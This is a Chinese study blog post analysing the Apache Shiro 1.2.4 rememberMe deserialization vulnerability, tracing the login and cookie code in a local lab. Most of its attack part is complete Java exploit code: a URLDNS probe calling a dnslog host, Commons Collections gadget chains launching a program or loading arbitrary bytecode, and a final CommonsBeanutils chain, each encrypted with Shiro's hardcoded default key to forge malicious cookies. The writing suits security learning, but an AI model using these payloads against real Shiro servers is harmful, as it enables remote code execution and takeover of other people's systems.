# 前言
前面的 CC 链暂时就到这了,从本篇开始,就开始 Shiro 反序列化漏洞的学习,以此篇随笔记录我的学习过程以供参考,不是很严谨望见谅,错误的地方希望大师傅们能指出,文章中所涉及的代码都在 github 项目 https://github.com/clown-q/Clown_java 中
学习参考:
- 《Java 安全漫谈》
# 环境搭建
这里先说一下环境搭建的问题,自己在配置环境的时候也是遇到了一些小问题的,但是其实环境搭建很简单,还是对 javaWeb 不是很熟,后面再慢慢把这块补一补
# 方法一
方法一很简单,可以使用 P 牛搭建好简化版本的项目 phith0n/JavaThings: Share Things Related to Java - Java 安全漫谈笔记相关内容 (github.com),只有两个 jsp 文件。
用 idea 打开 shirodemo 这个项目然后配置一下 tomcatApache Tomcat® - Welcome!
这里需要注意最好把端口改一下,为了方便后面的抓包测试
这里加一个组件就可以了
这样就算是搭建成功了
# 方法二
去 Shiro 的 github 仓库 apache/shiro: Apache Shiro (github.com) 下载整个源码
git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4 //切换到1.2.4版本
然后复制 shiro\samples 路径下的 web 文件,用 idea 打开
在 pom 文件中加上这个包的版本号,最后配置一下 tomcat
这里先选择 TomcatServer 的 local 然后选着 tomcat 版本,这里更改端口是为了后面利用漏洞时抓包更加方便
这样就算是成功了
上面的两个方法都需要配置 maven,可以上网查一下,这个的教程很多就不在这里赘述
# Shiro 反序列化分析验证
环境搭建就这样,确实挺简单,网上也有教程,本篇中我使用的是方法二搭建的环境,至于为什么不用 p 牛的那个,记录完方法二懒得改回去了,其实两个都是一样的
# 漏洞原理
Shiro 的漏洞原理也比较简单,登录时的记住密码相信大家都使用过,在 Shiro 这个框架中它的持久化信息储存在 cookie 中
在发起登录请求的时候如果选择了 rememberMe,也就是这个参数的值为 on 的时候,服务端会生成一个 cookie:rememberMe,可以看到这个 cookie 是非常长的
然后再登录之后的请求中都会携带这个 cookie,这里其实就是将这个 remewmberMe 的值进行了一个反序列化的操作,但是在 Shiro 1.2.4 版本中用于加密的 key 是一个内置默认密码,也就是说密码固定不变,也就导致攻击者可以通过构造 rememberMe Cookie,进而触发反序列化漏洞
# 登录流程分析
在 Shiro 中,登录流程的核心是通过 Subject 进行认证操作,这里在 Subject 的 login 下一个断点,看一下登录流程,详细来看 cookie 处理的整个流程
当然这只是一个接口,直接看他的实现方法
这里可以看到,login 传入的 token 是用户名密码等信息,通过 usernamePasswordToken 类传入
接着会调用 SecurityManager 的 login 方法,当然这也只是一个接口,还是看实现方法
实现方法中通过调用 onSuccessfulLogin 这个方法来实现 RememberMe
这里是开启的,继续跟进
这里通过调用 getRememberMeManager () 方法来获取 RememberMeManager 的实例,接着检查是否获取成功,如果成功就会调用 RememberMeManager 的 onSuccessfulLogin 方法,这里可已经可以看见序列化和加密方式是 AES 了
当然这里一个接口,直接跟进到实现类 AbstractRememberMeManager 中
这个类是继承与 RememberMeManager 接口的一个抽象类
抽象类中实现了一个 onSuccessfulLogin 方法,首先通过 forgetIdentity 方法清除之前存在的身份信息,确保登录后生成新的身份信息,if 中是判断用户有没有选择 RememberMe 选项,如果有将会调用 rememberIdentity 方法将用户信息持久化,否则记录一个调试级别的日志
这里因为漏洞就是 RememberMe 的问题,所以这里肯定是选择了的,所以进入 if 语句
继续跟进到 rememberIdentity 方法,首先通过 getIdentityToRemember 获取当前的用户信息,这里可以看到返回值是 root,然后调用 rememberIdentity 方法,这里继续跟进
在 rememberIdentity 方法中,先通过 convertPrincipalsToBytes 方法将主体转换为字节
这里可以看见它进行了一个序列化操作
然后调用 rememberSerializedIdentity 方法,继续跟进就到了 CookieRememberMeManager 类中
首先检查 subject 是否为 HTTP 相关的实例如果不是就会直接返回,然后获取当前用户的 HttpRequest 和 HttpResponse 对象,用以方便设置 cookie
接着将序列化后的内容进行 base64 编码,然后将这个字符串设置为 Cookie
上面整个流程就是登录和设置 Cookie 的一个流程,当然这里我并没有详细的说明用户身份验证等信息,毕竟这里的重点还是 RememberMe 这个功能生成的 Cookie 的流程
# Cookie 信息处理流程
这快网上能查到的有关的信息就很多了,前面的内容到是没有在网上找到分析的流程(应该说没有按照我这个侧重点分析的流程,也是,上面的说白了就是说明了有序列化的过程,,,)废话不多说,下面才正式开始
前面在调试到 CookieRememberMeManager 类的时候,就能够知道这个类是对 Cookie RememberMe 的一个管理类,我们注意到其中有一个方法 getRememberedSerializedIdentity,获取序列化的信息
这里经过一系列的判断后,从 http 报文中获取 cookie
这里非空判断后就 base64 解码,这里返回的是 base64 解码后的信息,接着找一下哪里调用了这个方法获取这个解密后的字符串,这里只有一个调用是符合的,就是 AbstractRememberMeManager 类中的 getRememberedPrincipals 方法
这里获取后判断非空调用 convertBytesToPrincipals 方法处理
这里判断密码服务非空,就调用 decrypt 进行解密,将解密的结果反序列化后返回
这里也是一个简单的判断,然后通过 cipherService.decrypt 来进行一个解密,这里主要是看一下这个 key,它使用的是 getDecryptionCipherKey 方法
这里可以看到上面是刚刚调用的 getDecryptionCipherKey 方法,这里直接就返回,这里看一下下面的 setDecryptionCipherKey 方法,设置了这个 key,这里接着寻找一下调用
但是这里还没到底,接着找
这里就可以了
DEFAULT_CIPHER_KEY_BYTES 他是一个静态变量,而且是使用 final 修饰的,也就是说它不能被修改
# URLDNS 探测
根据上面的分析可以知道,我们可以通过这个硬编码到代码逻辑中的 key 去构造恶意代码造成反序列化漏洞,这里先用 URLDNS 验证一下可行性,代码如下
package Shiro; | |
import org.apache.shiro.crypto.AesCipherService; | |
import org.apache.shiro.util.ByteSource; | |
import java.io.ByteArrayOutputStream; | |
import java.io.ObjectOutputStream; | |
import java.lang.reflect.Field; | |
import java.net.MalformedURLException; | |
import java.net.URL; | |
import java.util.HashMap; | |
/** | |
* @BelongsProject: study_java | |
* @BelongsPackage: Shiro | |
* @Author: Clown | |
* @CreateTime: 2023-08-05 15:54 | |
*/ | |
public class ShiroURLDNS { | |
public static void main(String[] args) throws Exception { | |
HashMap hashMap = new HashMap(); | |
URL url = new URL("http://ixnod8.dnslog.cn"); | |
Class c = url.getClass(); | |
Field hashcodefield = c.getDeclaredField("hashCode"); | |
hashcodefield.setAccessible(true); | |
hashcodefield.set(url,1234);// 设置 hashCode 值为 1234 | |
hashMap.put(url,1); | |
hashcodefield.set(url,-1); | |
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); | |
objectOutputStream.writeObject(hashMap); | |
System.out.println(byteArrayOutputStream); | |
AesCipherService aesCipherService = new AesCipherService(); | |
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); | |
ByteSource ciphertext = aesCipherService.encrypt(byteArrayOutputStream.toByteArray(), key); | |
System.out.println(ciphertext.toString()); | |
} | |
} |
将输出的处理后的数据粘贴到 cookie
刷新就能看到结果了
这里要将 Cookie 中的 JSESSIONID 删除,使得后端通过 RememberMe 来判断用户身份
到这里就验证成功了,当然了 URLDNS 只能证明他有这条链子,有序列化的点,当然还是想要进一步利用造成更大的危害
# 进一步利用
说到进一步造成更大的危害,那无外乎是想要代码执行,命令执行,我们之前分析的 CC 链不就能够满足这个要求吗,于是这里也是看了一下 pom 文件,原生似乎是没有的,这里添加了一下依赖
添加的是 3.2.1 的依赖,这里直接用前面的链子改写一下 CC6 来尝试利用
package Shiro; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.apache.commons.collections.map.LazyMap; | |
import org.apache.shiro.crypto.AesCipherService; | |
import org.apache.shiro.util.ByteSource; | |
import java.io.*; | |
import java.lang.reflect.Field; | |
import java.util.HashMap; | |
import java.util.Map; | |
/** | |
* @BelongsProject: study_java | |
* @BelongsPackage: Shiro | |
* @Author: Clown | |
* @CreateTime: 2023-08-07 13:28 | |
*/ | |
public class ShiroCC6 { | |
public static void serialization(Object object) throws Exception{ | |
FileOutputStream fileOutputStream = new FileOutputStream("Shiro.txt"); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); | |
objectOutputStream.writeObject(object); | |
System.out.println("serialization方法成功执行"); | |
} | |
public static void unserialization() throws Exception{ | |
FileInputStream fileInputStream = new FileInputStream("Shiro.txt"); | |
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); | |
objectInputStream.readObject(); | |
System.out.println("unserialization执行成功"); | |
} | |
public static void main(String[] args) throws Exception{ | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(Runtime.class), | |
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), | |
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), | |
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}), | |
}; | |
ChainedTransformer chainedTransformer =new ChainedTransformer(transformers); | |
Map map = new HashMap(); | |
Map decorate = LazyMap.decorate(map,new ConstantTransformer(1)); | |
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "aaa"); | |
HashMap kvHashMap = new HashMap<>(); | |
kvHashMap.put(tiedMapEntry,"bbb"); | |
decorate.remove("aaa"); | |
Field clazz = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredField("factory"); | |
clazz.setAccessible(true); | |
clazz.set(decorate,chainedTransformer); | |
// serialization(kvHashMap); | |
// unserialization(); | |
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); | |
objectOutputStream.writeObject(kvHashMap); | |
System.out.println(byteArrayOutputStream); | |
AesCipherService aesCipherService = new AesCipherService(); | |
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); | |
ByteSource ciphertext = aesCipherService.encrypt(byteArrayOutputStream.toByteArray(), key); | |
System.out.println(ciphertext.toString()); | |
} | |
} |
这里想利用 CC6 来弹一个计算器,但是没反应,去看一下日志发现报错
可以看到这个报错有一个类加载不到,这是由于无法创建 transform 数组导致的,这里找一条没有包含数组的链子就可以了,很显然这里不能再使用那个 Runtime,而是使用加载字节码进行代码执行上做一些突破
在前面 cc 链的学习中,对于传入 Runtime 都是使用 ConstantTransformer 这个方法,这里其实也可以使用 LazyMap 中的 get 方法的 key 值传递可以看一下 CC6 - java 安全 | Clown の Blog = (xcu.icu) 这篇学习笔记中补充的部分
因为 CC3 中加载字节码使用的是一个长度为 2 的数组
这里如果将 ConstantTransformer 在缩减的话,就剩下一个长度为 1 的数组,可以直接不使用数组来利用,简单的拼凑一下代码
package Shiro; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.apache.commons.collections.map.LazyMap; | |
import org.apache.shiro.crypto.AesCipherService; | |
import org.apache.shiro.util.ByteSource; | |
import java.io.*; | |
import java.lang.reflect.Field; | |
import java.nio.file.Files; | |
import java.nio.file.Paths; | |
import java.util.HashMap; | |
import java.util.Map; | |
/** | |
* @BelongsProject: study_java | |
* @BelongsPackage: Shiro | |
* @Author: Clown | |
* @CreateTime: 2023-08-07 13:28 | |
*/ | |
public class ShiroCCchange { | |
public static void serialization(Object object) throws Exception{ | |
FileOutputStream fileOutputStream = new FileOutputStream("Shiro.txt"); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); | |
objectOutputStream.writeObject(object); | |
System.out.println("serialization方法成功执行"); | |
} | |
public static void unserialization() throws Exception{ | |
FileInputStream fileInputStream = new FileInputStream("Shiro.txt"); | |
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); | |
objectInputStream.readObject(); | |
System.out.println("unserialization执行成功"); | |
} | |
public static void main(String[] args) throws Exception{ | |
TemplatesImpl templates = new TemplatesImpl(); | |
Class<? extends TemplatesImpl> aClass = templates.getClass(); | |
Field name = aClass.getDeclaredField("_name"); | |
name.setAccessible(true); | |
name.set(templates,"aaaa"); | |
Field bytecodes = aClass.getDeclaredField("_bytecodes"); | |
bytecodes.setAccessible(true); | |
byte[] code = Files.readAllBytes(Paths.get("E:\\study_java\\test\\Test.class")); | |
byte[][] codes = {code}; | |
bytecodes.set(templates,codes); | |
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null); | |
HashMap map = new HashMap(); | |
Map lazymap = LazyMap.decorate(map,new ConstantTransformer(1));// 这里先设置为一个没有用的,下面通过反射设置成目标为了避免在本地本地调试时触发命令执⾏ | |
// Map lazymap = LazyMap.decorate(map,chainedTransformer); | |
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates); | |
HashMap<Object, Object> map2 = new HashMap<>();// 这里是触发点 | |
map2.put(tiedMapEntry,"bbb"); | |
lazymap.clear(); | |
Class clazz = LazyMap.class;// 这里通过反射将 LazyMap 设置为目标值 | |
Field factoryField = clazz.getDeclaredField("factory"); | |
factoryField.setAccessible(true);// 私有属性 | |
factoryField.set(lazymap,invokerTransformer);// 这里设置为目标的危险函数 | |
// serialization(kvHashMap); | |
// unserialization(); | |
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); | |
objectOutputStream.writeObject(map2); | |
System.out.println(byteArrayOutputStream); | |
AesCipherService aesCipherService = new AesCipherService(); | |
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); | |
ByteSource ciphertext = aesCipherService.encrypt(byteArrayOutputStream.toByteArray(), key); | |
System.out.println(ciphertext.toString()); | |
} | |
} |
这里序列化后很长,是因为这里包含了要加载的字节码
# CB 链利用
还是贴一个完整的链子
前面使用了 CC 链根据环境更改后利用成功,但是真实默认情况下是没有 CC 依赖的,我们也不可能去添加添加一个 CC 依赖,所以也就导致了无法利用,但是实际上在依赖中还有这样一个东西
它自身是带有 commons-beanutils 这个依赖的,所以可以利用 CB 链来进行代码执行
CommonsBeanutils 是应用于 javabean 的工具
package Shiro.CB; | |
/** | |
* @BelongsProject: study_java | |
* @BelongsPackage: Shiro.CB | |
* @Author: Clown | |
* @CreateTime: 2023-08-09 08:29 | |
*/ | |
public class Person { | |
public String name; | |
public int age; | |
public String getName() { | |
return name; | |
} | |
public void setName(String name) { | |
this.name = name; | |
} | |
public int getAge() { | |
return age; | |
} | |
public void setAge(int age) { | |
this.age = age; | |
} | |
public Person(String name, int age) { | |
this.name = name; | |
this.age = age; | |
} | |
} |
这既是 javabean 的格式,看下面这个示例代码
package Shiro.CB; | |
import org.apache.commons.beanutils.*; | |
/** | |
* @BelongsProject: study_java | |
* @BelongsPackage: Shiro | |
* @Author: Clown | |
* @CreateTime: 2023-08-07 19:01 | |
*/ | |
public class CBTest { | |
public static void main(String[] args) throws Exception { | |
Person person = new Person("张三",20); | |
System.out.println(PropertyUtils.getProperty(person,"name")); | |
} | |
} |
它使用了 CB 中的一个可以相对动态的获取属性值的方法,在上面这个例子中,它会自动的调用一个 getName 方法,当然 CB 链的主要原因也是在这里,
# getProperty 调试
这里先看一下这个 getProperty 方法是怎么自动调用 getName 方法的
直接将断点下在这里
这里浅浅的套娃,调用了一个 getProperty 方法,在方法中有调用了另一个对象的 getProperty 方法
继续跟进,在这个 getProperty 方法中调用了 getNestedProperty 方法
更近到这个方法中,但是实际上这个方法的重点在下方
这里对 bean 做一个判断,可以看到上面,其实两个条件都是不满足的,所以这里实际上会调用到 getSimpleProperty 方法
一直走到下面的方法中
这里可以看到他获取属性描述符,这里内部的实现细节先不管,看一下获取后的内容
这里可以看到,它根据这个 name 转换为答大写后获取了 get 和 set 方法,然后再这个方法的最后有一个调用
这里就可以动态执行一个 get 方法
# CB 分析
上面简单调试了一个 getProperty 方法,可以看到是可以动态执行一 get 方法的,这里接下来的思路就是找一个 get 开头的可以执行代码的地方
在 TemplatesImpl 类中有一个 getOutputProperties 方法
在其中调用了一个 newTransformer 方法,是可以动态加载类的,这里先用 CC3 的改一下
package Shiro.CB; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; | |
import org.apache.commons.beanutils.*; | |
import java.lang.reflect.Field; | |
import java.nio.file.Files; | |
import java.nio.file.Paths; | |
/** | |
* @BelongsProject: study_java | |
* @BelongsPackage: Shiro | |
* @Author: Clown | |
* @CreateTime: 2023-08-07 19:01 | |
*/ | |
public class CBTest { | |
public static void main(String[] args) throws Exception { | |
TemplatesImpl templates = new TemplatesImpl(); | |
Class<? extends TemplatesImpl> aClass = templates.getClass(); | |
Field name = aClass.getDeclaredField("_name"); | |
name.setAccessible(true); | |
name.set(templates,"aaaa"); | |
Field bytecodes = aClass.getDeclaredField("_bytecodes"); | |
bytecodes.setAccessible(true); | |
byte[] code = Files.readAllBytes(Paths.get("E:\\study_java\\test\\Test.class")); | |
byte[][] codes = {code}; | |
bytecodes.set(templates,codes); | |
Field tfactory = aClass.getDeclaredField("_tfactory"); | |
tfactory.setAccessible(true); | |
tfactory.set(templates,new TransformerFactoryImpl()); // 反序列化的时候会添加 | |
PropertyUtils.getProperty(templates,"outputProperties"); | |
} | |
} |
显而易见这里是执行成功了,但是想在反序列化中调用这个方法,这里找一下,哪里调用了这个 getProperty 方法
这里本来是想要里用这个 transform 方法但是它所在的类中没有继承序列化
这里选择的是这个 compare 这个方法,这里是 CC2 利用过的方法,简单的看一下这个流程,在 PriorityQueue 类中有一个 readObject 方法
这里会调用一个 heapify 方法
然后回调用一个 siftDown 方法
这里做一个判断,我们需要的是 compare 方法在 siftDownUsingComparator 中
那么整个链子就连起来了,这里贴一个完整的
# POC
package Shiro.CB; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; | |
import org.apache.commons.beanutils.*; | |
import org.apache.commons.collections.comparators.TransformingComparator; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.shiro.crypto.AesCipherService; | |
import org.apache.shiro.util.ByteSource; | |
import java.io.*; | |
import java.lang.reflect.Field; | |
import java.nio.file.Files; | |
import java.nio.file.Paths; | |
import java.util.PriorityQueue; | |
/** | |
* @BelongsProject: study_java | |
* @BelongsPackage: Shiro | |
* @Author: Clown | |
* @CreateTime: 2023-08-07 19:01 | |
*/ | |
public class CBTest { | |
public static void main(String[] args) throws Exception { | |
TemplatesImpl templates = new TemplatesImpl(); | |
Class<? extends TemplatesImpl> aClass = templates.getClass(); | |
Field name = aClass.getDeclaredField("_name"); | |
name.setAccessible(true); | |
name.set(templates,"aaaa"); | |
Field bytecodes = aClass.getDeclaredField("_bytecodes"); | |
bytecodes.setAccessible(true); | |
byte[] code = Files.readAllBytes(Paths.get("E:\\study_java\\test\\Test.class")); | |
byte[][] codes = {code}; | |
bytecodes.set(templates,codes); | |
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare()); | |
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); | |
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); | |
priorityQueue.add(templates); | |
priorityQueue.add(2); | |
Class c = PriorityQueue.class; | |
Field field = c.getDeclaredField("comparator"); | |
field.setAccessible(true); | |
field.set(priorityQueue,beanComparator); | |
// Serliazation(priorityQueue); | |
// Unserlization(); | |
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); | |
objectOutputStream.writeObject(priorityQueue); | |
System.out.println(byteArrayOutputStream); | |
AesCipherService aesCipherService = new AesCipherService(); | |
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); | |
ByteSource ciphertext = aesCipherService.encrypt(byteArrayOutputStream.toByteArray(), key); | |
System.out.println(ciphertext.toString()); | |
} | |
public static void Serliazation(Object object) throws Exception{ | |
FileOutputStream fileInputStream = new FileOutputStream("poc1.txt"); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileInputStream); | |
objectOutputStream.writeObject(object); | |
System.out.println("Output"); | |
} | |
public static void Unserlization() throws Exception{ | |
FileInputStream fileInputStream =new FileInputStream("poc1.txt"); | |
ObjectInputStream objectInputStream =new ObjectInputStream(fileInputStream); | |
objectInputStream.readObject(); | |
System.out.println("Input"); | |
} | |
} |
值得注意的是,这里我再创建 BeanComparator 实例的时候使用的是第二个构造方法
因为第一个构造方法使用的有 ComparableComparator
他实际上是使用了 CC 的依赖,而 Shiro 中默认是没有 CC 依赖的